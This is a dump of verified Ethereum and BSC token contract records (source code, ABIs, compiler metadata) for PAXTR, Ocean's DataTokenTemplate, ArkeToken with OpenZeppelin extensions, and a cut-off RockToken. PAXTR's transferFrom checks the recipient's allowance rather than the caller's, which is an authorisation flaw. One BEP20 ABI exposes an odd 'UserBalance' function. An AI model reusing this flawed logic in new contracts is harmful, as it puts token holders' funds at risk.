"BEP20: burn amount exceeds allowance"
)
);
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"UserBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.16+commit.9c3226ce | false | 200 | Default | GNU GPLv2 | false | bzzr://5ff7f6d4e972b3699ae17960ebc94ae242f871bed828f687b08178528a8c3629 |
|||
PAXTR | PAXTR.sol | 0x4942e1d0750acf6bf794b4005cd8a7515af33f83 | Solidity | /*
PAX Token Reserve (PAXTR)
ERC20 Token for the People
https://paxco.in/
-
Developed by James Galbraith, https://Decentralised.Tech/
*/
pragma solidity ^0.5.11;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Owned {
address public owner;
address public newOwner;
modifier onlyOwner {
require(msg.sender == owner, 'Address not contract owner');
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, 'Address not contract owner');
owner = newOwner;
}
}
contract PAXTR is Owned {
using SafeMath for uint256;
constructor() public payable {
endOfMonth = 1575158400;
owner = 0x08d19746Ee0c0833FC5EAF98181eB91DAEEb9abB;
baseBalance[owner] = 2500000000;
emit Transfer(address(0), owner, 10000000000);
}
// Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Unlock(address indexed owner, uint256 value);
event Lock(address indexed owner, uint256 value);
// Main Variables
uint256 public constant decimals = 8;
string public constant name = "PAX Treasure Reserve";
string public constant symbol = "PAXTR";
string public acknowledgementOfUse = "http://paxco.in/PAXTR-acknowledgment-of-the-human-rights.pdf";
bytes32 public acknowledgementOfUseHash = 0xbec69211ae828f3e8e4f566b1fcbee4fe0d2b7fdebbaad76fdfbb3850b1a0a46;
address public minterAddress;
address public worldTreasuryAddress;
uint256 public createdTreasure = 0;
uint256 public maximumBaseSupply = 0;
uint256 public treasureAge = 948;
uint256 public endOfMonth;
uint256 public monthCount;
bool public transfersPaused;
function pauseTransfers(bool state) public onlyOwner {
transfersPaused = state;
}
// Demurrage base
uint256 public demurrageBaseMultiplier = 1000000000000000000;
// Balance Mapping
mapping(address => uint256) public baseBalance;
mapping(address => mapping(address => uint256)) public allowanceMapping;
struct Treasure {
uint256 monthlyClaim;
uint256 endMonth;
uint256 totalClaimed;
mapping(uint256 => uint256) claimedInMonth;
}
mapping(address => Treasure) public treasure;
function claimedInMonth(address account) public view returns (uint256) {
return treasure[account].claimedInMonth[monthCount];
}
mapping(address => uint256) public totalReferrals;
mapping(address => mapping(uint256 => uint256)) public monthlyReferrals;
// Instant Unlock Quota
uint256 public monthReferralQuota = 1;
uint256 public permanentReferralQuota = 5;
// Treasure
function issueTreasure(address account, address referral) public {
require(msg.sender == minterAddress, 'Only the minterAddress may call this function');
require(treasure[account].endMonth == 0, 'Account has already been issued their Lifetime Treasure');
if (referral != address(0)) {
totalReferrals[referral] = totalReferrals[referral].add(1);
monthlyReferrals[referral][monthCount] = monthlyReferrals[referral][monthCount].add(1);
}
uint256 _baseBalance = (uint256(50000000).mul(1000000000000000000)).div(demurrageBaseMultiplier);
uint256 _newWorldBalance = (uint256(45500000000).mul(1000000000000000000)).div(demurrageBaseMultiplier);
maximumBaseSupply = maximumBaseSupply.add(_baseBalance);
baseBalance[account] = baseBalance[account].add(_baseBalance);
emit Transfer(address(0), account, 50000000);
baseBalance[worldTreasuryAddress] = baseBalance[worldTreasuryAddress].add(_newWorldBalance);
emit Transfer(address(0), worldTreasuryAddress, 45500000000);
createdTreasure = createdTreasure.add(1);
treasure[account].endMonth = monthCount.add(treasureAge);
treasure[account].monthlyClaim = uint256(500000000000).div(treasureAge);
claim(account, 50000000);
}
function treasureWithdraw(address account, address to, uint256 amount) public onlyOwner {
require(treasure[account].endMonth > monthCount.add(1), "Treasure is not active anymore");
uint256 maximumClaim = treasure[account].monthlyClaim.mul(treasure[account].endMonth.sub(monthCount.add(1)));
require(amount <= maximumClaim, "Not enough PAXTR to withdraw!");
treasure[account].monthlyClaim = (maximumClaim.sub(amount)).div(treasure[account].endMonth.sub(monthCount.add(1)));
uint256 baseAmount = (amount.mul(1000000000000000000)).div(demurrageBaseMultiplier);
maximumBaseSupply = maximumBaseSupply.add(baseAmount);
baseBalance[to] = baseBalance[to].add(baseAmount);
emit Unlock(account, amount);
emit Transfer(address(0), to, amount);
}
function treasureDeposit(address account, address from, uint256 amount) public onlyOwner {
require(balanceOf(from) >= amount, 'From does not have sufficent balance');
require(treasure[account].endMonth > monthCount.add(1), "Treasure is not active anymore");
uint256 maximumClaim = treasure[account].monthlyClaim.mul(treasure[account].endMonth.sub(monthCount.add(1)));
treasure[account].monthlyClaim = (maximumClaim.add(amount)).div(treasure[account].endMonth.sub(monthCount.add(1)));
uint256 baseAmount = (amount.mul(1000000000000000000)).div(demurrageBaseMultiplier);
baseBalance[from] = baseBalance[from].sub(baseAmount);
maximumBaseSupply = maximumBaseSupply.sub(baseAmount);
emit Lock(account, amount);
emit Transfer(from, address(0), amount);
}
function claim(address account, uint256 amount) private returns (bool) {
if (treasure[account].endMonth < monthCount || treasure[account].claimedInMonth[monthCount] == treasure[account].monthlyClaim) {
return false;
} else {
if (amount >= treasure[account].monthlyClaim.sub(treasure[account].claimedInMonth[monthCount]) || totalReferrals[account] >= permanentReferralQuota || monthlyReferrals[account][monthCount] >= monthReferralQuota) {
uint256 _amount = treasure[account].monthlyClaim.sub(treasure[account].claimedInMonth[monthCount]);
treasure[account].claimedInMonth[monthCount] = treasure[account].monthlyClaim;
uint256 baseAmount = (_amount.mul(1000000000000000000)).div(demurrageBaseMultiplier);
baseBalance[account] = baseBalance[account].add(baseAmount);
maximumBaseSupply = maximumBaseSupply.add(baseAmount);
treasure[account].totalClaimed = treasure[account].totalClaimed.add(_amount);
emit Transfer(address(0), account, _amount);
emit Unlock(account, _amount);
return true;
} else {
treasure[account].claimedInMonth[monthCount] = treasure[account].claimedInMonth[monthCount].add(amount);
uint256 baseAmount = (amount.mul(1000000000000000000)).div(demurrageBaseMultiplier);
baseBalance[account] = baseBalance[account].add(baseAmount);
maximumBaseSupply = maximumBaseSupply.add(baseAmount);
treasure[account].totalClaimed = treasure[account].totalClaimed.add(amount);
emit Transfer(address(0), account, amount);
emit Unlock(account, amount);
return true;
}
}
}
// Users can unlock treasure if they have required refferals without making a transfer
function selfClaim() public {
claim(msg.sender, 0);
}
// Migrate Accounts from Old Contract
mapping(address => bool) public hasMigrated;
function migrateAccount(address account, uint256 _balance, uint256 _totalRefferals, uint256 _monthsRefferals, bool _hasTreasure, uint256 _treasureBalance) public onlyOwner {
require(treasure[account].endMonth == 0, 'New treasure already exists for this wallet');
require(hasMigrated[account] == false, 'This wallet has already been migrated');
hasMigrated[account] = true;
if (_balance != 0) {
uint256 _baseBalance = (_balance.mul(1000000000000000000)).div(demurrageBaseMultiplier);
baseBalance[account] = baseBalance[account].add(_baseBalance);
emit Transfer(address(0), account, _balance);
}
totalReferrals[account] = totalReferrals[account].add(_totalRefferals);
monthlyReferrals[account][monthCount] = monthlyReferrals[account][monthCount].add(_monthsRefferals);
if (_hasTreasure == true) {
treasure[account].monthlyClaim = _treasureBalance.div(treasureAge);
treasure[account].endMonth = monthCount.add(treasureAge);
treasure[account].totalClaimed = uint256(500000000000).sub(_treasureBalance);
createdTreasure = createdTreasure.add(1);
}
}
// New Month
function newMonth() public {
if (now >= endOfMonth) {
endOfMonth = endOfMonth.add(2635200);
monthCount = monthCount.add(1);
uint256 bigInt = 1000000000000000000;
demurrageBaseMultiplier = (demurrageBaseMultiplier.mul(bigInt))/(bigInt+(((treasureAge.mul(bigInt))/12)/55555));
}
}
// ERC20 Standard Functions
function totalSupply() public view returns (uint256) {
return (maximumBaseSupply.mul(demurrageBaseMultiplier)).div(1000000000000000000);
}
function balanceOf(address account) public view returns (uint256) {
return (baseBalance[account].mul(demurrageBaseMultiplier)).div(1000000000000000000);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(transfersPaused == false, 'Transfers have been paused');
require(balanceOf(msg.sender) >= amount, 'Sender does not have enough balance');
uint256 baseAmount = (amount.mul(1000000000000000000)).div(demurrageBaseMultiplier);
baseBalance[msg.sender] = baseBalance[msg.sender].sub(baseAmount);
baseBalance[recipient] = baseBalance[recipient].add(baseAmount);
emit Transfer(msg.sender, recipient, amount);
newMonth();
claim(msg.sender, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return allowanceMapping[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
allowanceMapping[msg.sender][spender] = amount;
newMonth();
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
require(transfersPaused == false, 'Transfers have been paused');
require(allowanceMapping[sender][recipient] >= amount, 'Sender has not authorised this transaction');
require(balanceOf(sender) >= amount, 'Sender does not have enough balance');
uint256 baseAmount = (amount.mul(1000000000000000000)).div(demurrageBaseMultiplier);
baseBalance[sender] = baseBalance[sender].sub(baseAmount);
baseBalance[recipient] = baseBalance[recipient].add(baseAmount);
allowanceMapping[sender][recipient] = allowanceMapping[sender][recipient].sub(baseAmount);
emit Transfer(sender, recipient, amount);
newMonth();
claim(sender, amount);
return true;
}
// DAO Change Functions
function setAcknowledgementOfUse(string memory _location, bytes32 _hash) public onlyOwner {
bytes memory emptyStringTest = bytes(_location);
require(emptyStringTest.length != 0 && _hash != bytes32(0), 'Not enough data supplied');
acknowledgementOfUse = _location;
acknowledgementOfUseHash = _hash;
}
function setMinterAddress(address _minterAddress) public onlyOwner {
minterAddress = _minterAddress;
}
function setWorldTreasuryAddress(address _worldTreasuryAddress) public onlyOwner {
worldTreasuryAddress = _worldTreasuryAddress;
}
function setTreasureAge(uint256 _treasureAge) public onlyOwner {
treasureAge = _treasureAge;
}
function adjustEndOfMonth(uint256 _endOfMonth) public onlyOwner {
require(_endOfMonth > block.timestamp, 'Specifed time is in the past');
endOfMonth = _endOfMonth;
}
function setRefferalQuote(uint256 _total, uint256 _month) public onlyOwner {
monthReferralQuota = _month;
permanentReferralQuota = _total;
}
} | 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| v0.5.11+commit.c082d0b4 | true | 200 | Default | None | false | bzzr://f59edae68ed3b255e640797dd10a84d83e9a262ff046ad194b6d145c8eff4900 |
|||
DataTokenTemplate | /Users/ahmedali/Desktop/work/mainnet-deployment/ocean-contracts/contracts/interfaces/IERC20Template.sol | 0x9cfd953a8b00536c00767c6630b773ccb6d4371c | Solidity | pragma solidity >=0.5.0;
interface IERC20Template {
function initialize(
string calldata name,
string calldata symbol,
address minter,
uint256 cap,
string calldata blob,
address collector
) external returns (bool);
function mint(address account, uint256 value) external;
function minter() external view returns(address);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function cap() external view returns (uint256);
function isMinter(address account) external view returns (bool);
function isInitialized() external view returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function proposeMinter(address newMinter) external;
function approveMinter() external;
} | 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DataTokenTemplate | /Users/ahmedali/Desktop/work/mainnet-deployment/ocean-contracts/contracts/templates/DataTokenTemplate.sol | 0x9cfd953a8b00536c00767c6630b773ccb6d4371c | Solidity | pragma solidity 0.5.7;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import '../interfaces/IERC20Template.sol';
import 'openzeppelin-solidity/contracts/token/ERC20/ERC20.sol';
/**
* @title DataTokenTemplate
*
* @dev DataTokenTemplate is an ERC20 compliant token template
* Used by the factory contract as a bytecode reference to
* deploy new DataTokens.
*/
contract DataTokenTemplate is IERC20Template, ERC20 {
using SafeMath for uint256;
string private _name;
string private _symbol;
string private _blob;
uint256 private _cap;
uint8 private constant _decimals = 18;
address private _communityFeeCollector;
bool private initialized = false;
address private _minter;
address private _proposedMinter;
uint256 public constant BASE = 10**18;
uint256 public constant BASE_COMMUNITY_FEE_PERCENTAGE = BASE / 1000;
uint256 public constant BASE_MARKET_FEE_PERCENTAGE = BASE / 1000;
event OrderStarted(
address indexed consumer,
address indexed payer,
uint256 amount,
uint256 serviceId,
uint256 timestamp,
address indexed mrktFeeCollector,
uint256 marketFee
);
event OrderFinished(
bytes32 orderTxId,
address indexed consumer,
uint256 amount,
uint256 serviceId,
address indexed provider,
uint256 timestamp
);
event MinterProposed(
address currentMinter,
address newMinter
);
event MinterApproved(
address currentMinter,
address newMinter
);
modifier onlyNotInitialized() {
require(
!initialized,
'DataTokenTemplate: token instance already initialized'
);
_;
}
modifier onlyMinter() {
require(
msg.sender == _minter,
'DataTokenTemplate: invalid minter'
);
_;
}
/**
* @dev constructor
* Called prior contract deployment
* @param name refers to a template DataToken name
* @param symbol refers to a template DataToken symbol
* @param minterAddress refers to an address that has minter role
* @param cap the total ERC20 cap
* @param blob data string refering to the resolver for the metadata
* @param feeCollector it is the community fee collector address
*/
constructor(
string memory name,
string memory symbol,
address minterAddress,
uint256 cap,
string memory blob,
address feeCollector
)
public
{
_initialize(
name,
symbol,
minterAddress,
cap,
blob,
feeCollector
);
}
/**
* @dev initialize
* Called prior contract initialization (e.g creating new DataToken instance)
* Calls private _initialize function. Only if contract is not initialized.
* @param name refers to a new DataToken name
* @param symbol refers to a nea DataToken symbol
* @param minterAddress refers to an address that has minter rights
* @param cap the total ERC20 cap
* @param blob data string refering to the resolver for the metadata
* @param feeCollector it is the community fee collector address
*/
function initialize(
string calldata name,
string calldata symbol,
address minterAddress,
uint256 cap,
string calldata blob,
address feeCollector
)
external
onlyNotInitialized
returns(bool)
{
return _initialize(
name,
symbol,
minterAddress,
cap,
blob,
feeCollector
);
}
/**
* @dev _initialize
* Private function called on contract initialization.
* @param name refers to a new DataToken name
* @param symbol refers to a nea DataToken symbol
* @param minterAddress refers to an address that has minter rights
* @param cap the total ERC20 cap
* @param blob data string refering to the resolver for the metadata
* @param feeCollector it is the community fee collector address
*/
function _initialize(
string memory name,
string memory symbol,
address minterAddress,
uint256 cap,
string memory blob,
address feeCollector
)
private
returns(bool)
{
require(
minterAddress != address(0),
'DataTokenTemplate: Invalid minter, zero address'
);
require(
_minter == address(0),
'DataTokenTemplate: Invalid minter, zero address'
);
require(
feeCollector != address(0),
'DataTokenTemplate: Invalid community fee collector, zero address'
);
require(
cap != 0,
'DataTokenTemplate: Invalid cap value'
);
_cap = cap;
_name = name;
_blob = blob;
_symbol = symbol;
_minter = minterAddress;
_communityFeeCollector = feeCollector;
initialized = true;
return initialized;
}
/**
* @dev mint
* Only the minter address can call it.
* msg.value should be higher than zero and gt or eq minting fee
* @param account refers to an address that token is going to be minted to.
* @param value refers to amount of tokens that is going to be minted.
*/
function mint(
address account,
uint256 value
)
external
onlyMinter
{
require(
totalSupply().add(value) <= _cap,
'DataTokenTemplate: cap exceeded'
);
_mint(account, value);
}
/**
* @dev startOrder
* called by payer or consumer prior ordering a service consume on a marketplace.
* @param consumer is the consumer address (payer could be different address)
* @param amount refers to amount of tokens that is going to be transfered.
* @param serviceId service index in the metadata
* @param mrktFeeCollector marketplace fee collector
*/
function startOrder(
address consumer,
uint256 amount,
uint256 serviceId,
address mrktFeeCollector
)
external
{
uint256 marketFee = 0;
uint256 communityFee = calculateFee(
amount,
BASE_COMMUNITY_FEE_PERCENTAGE
);
transfer(_communityFeeCollector, communityFee);
if(mrktFeeCollector != address(0)){
marketFee = calculateFee(
amount,
BASE_MARKET_FEE_PERCENTAGE
);
transfer(mrktFeeCollector, marketFee);
}
uint256 totalFee = communityFee.add(marketFee);
transfer(_minter, amount.sub(totalFee));
emit OrderStarted(
consumer,
msg.sender,
amount,
serviceId,
block.timestamp,
mrktFeeCollector,
marketFee
);
}
/**
* @dev finishOrder
* called by provider prior completing service delivery only
* if there is a partial or full refund.
* @param orderTxId refers to the transaction Id of startOrder acts
* as a payment reference.
* @param consumer refers to an address that has consumed that service.
* @param amount refers to amount of tokens that is going to be transfered.
* @param serviceId service index in the metadata.
*/
function finishOrder(
bytes32 orderTxId,
address consumer,
uint256 amount,
uint256 serviceId
)
external
{
if ( amount != 0 )
require(
transfer(consumer, amount),
'DataTokenTemplate: failed to finish order'
);
emit OrderFinished(
orderTxId,
consumer,
amount,
serviceId,
msg.sender,
block.timestamp
);
}
/**
* @dev proposeMinter
* It proposes a new token minter address.
* Only the current minter can call it.
* @param newMinter refers to a new token minter address.
*/
function proposeMinter(address newMinter)
external
onlyMinter
{
_proposedMinter = newMinter;
emit MinterProposed(
msg.sender,
_proposedMinter
);
}
/**
* @dev approveMinter
* It approves a new token minter address.
* Only the current minter can call it.
*/
function approveMinter()
external
{
require(
msg.sender == _proposedMinter,
'DataTokenTemplate: invalid proposed minter address'
);
emit MinterApproved(
_minter,
_proposedMinter
);
_minter = _proposedMinter;
_proposedMinter = address(0);
}
/**
* @dev name
* It returns the token name.
* @return DataToken name.
*/
function name() external view returns(string memory) {
return _name;
}
/**
* @dev symbol
* It returns the token symbol.
* @return DataToken symbol.
*/
function symbol() external view returns(string memory) {
return _symbol;
}
/**
* @dev blob
* It returns the blob (e.g https://123.com).
* @return DataToken blob.
*/
function blob() external view returns(string memory) {
return _blob;
}
/**
* @dev decimals
* It returns the token decimals.
* how many supported decimal points
* @return DataToken decimals.
*/
function decimals() external view returns(uint8) {
return _decimals;
}
/**
* @dev cap
* it returns the capital.
* @return DataToken cap.
*/
function cap() external view returns (uint256) {
return _cap;
}
/**
* @dev isMinter
* It takes the address and checks whether it has a minter role.
* @param account refers to the address.
* @return true if account has a minter role.
*/
function isMinter(address account) external view returns(bool) {
return (_minter == account);
}
/**
* @dev minter
* @return minter's address.
*/
function minter()
external
view
returns(address)
{
return _minter;
}
/**
* @dev isInitialized
* It checks whether the contract is initialized.
* @return true if the contract is initialized.
*/
function isInitialized() external view returns(bool) {
return initialized;
}
/**
* @dev calculateFee
* giving a fee percentage, and amount it calculates the actual fee
* @param amount the amount of token
* @param feePercentage the fee percentage
* @return the token fee.
*/
function calculateFee(
uint256 amount,
uint256 feePercentage
)
public
pure
returns(uint256)
{
if(amount == 0) return 0;
if(feePercentage == 0) return 0;
return amount.mul(feePercentage).div(BASE);
}
} | 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ArkeToken | contracts/Arkes.sol | 0xaeab9861bd9479daaa538a2d7f57d5e1d1c86c5e | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "@openzeppelin/contracts/finance/VestingWallet.sol";
contract ArkeToken is
ERC20,
ERC20Burnable,
Pausable,
AccessControl,
ERC20Capped,
VestingWallet
{
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant UNPAUSER_ROLE = keccak256("UNPAUSER_ROLE");
uint32 public constant VESTING_START = 1641042000; //Vesting start : 01.01.2022
uint32 public constant VESTING_TIME = 63072000; // 2 Years of vesting
constructor(
address owner,
address pauser,
address unpauser
)
ERC20("Arke Token", "ARKES")
ERC20Capped(10000000 * 10**decimals())
VestingWallet(owner, VESTING_START, VESTING_TIME)
{
_grantRole(DEFAULT_ADMIN_ROLE, owner);
_grantRole(PAUSER_ROLE, pauser);
_grantRole(UNPAUSER_ROLE, unpauser);
//send initial supply (total supply is 10000000 divided between contract 80% and owner 20% )
_mint(address(this), 8000000 * 10**decimals());
_mint(owner, 2000000 * 10**decimals());
}
function pause() public onlyRole(PAUSER_ROLE) {
_pause();
}
function unpause() public onlyRole(UNPAUSER_ROLE) {
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override whenNotPaused {
super._beforeTokenTransfer(from, to, amount);
}
// The following functions are overrides required by Solidity.
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
super._afterTokenTransfer(from, to, amount);
}
function _mint(address to, uint256 amount)
internal
override(ERC20, ERC20Capped)
{
ERC20._mint(to, amount);
}
function _burn(address account, uint256 amount) internal override(ERC20) {
super._burn(account, amount);
}
} | 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| v0.8.2+commit.661d1103 | false | 200 | 00000000000000000000000070605b7fe25f8fd66e2883dc2a06686595d1389e00000000000000000000000070605b7fe25f8fd66e2883dc2a06686595d1389e000000000000000000000000b7d6d850c9fa65506e5d7ca8fc49fb3a1d7bbd44 | Default | false | ||||
ArkeToken | @openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol | 0xaeab9861bd9479daaa538a2d7f57d5e1d1c86c5e | Solidity | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Capped.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 private immutable _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
} | 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| v0.8.2+commit.661d1103 | false | 200 | 00000000000000000000000070605b7fe25f8fd66e2883dc2a06686595d1389e00000000000000000000000070605b7fe25f8fd66e2883dc2a06686595d1389e000000000000000000000000b7d6d850c9fa65506e5d7ca8fc49fb3a1d7bbd44 | Default | false | ||||
ArkeToken | @openzeppelin/contracts/utils/math/Math.sol | 0xaeab9861bd9479daaa538a2d7f57d5e1d1c86c5e | Solidity | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
} | 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| v0.8.2+commit.661d1103 | false | 200 | 00000000000000000000000070605b7fe25f8fd66e2883dc2a06686595d1389e00000000000000000000000070605b7fe25f8fd66e2883dc2a06686595d1389e000000000000000000000000b7d6d850c9fa65506e5d7ca8fc49fb3a1d7bbd44 | Default | false | ||||
RockToken | RockToken.sol | 0x106aa49295b525fcf959aa75ec3f7dcbf5352f1c | Solidity | pragma solidity ^0.4.18;
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
uint256 constant MAX_UINT256 = 2**256 - 1;
bool transferEnabled = false;
function transfer(address _to, uint256 _value) public returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
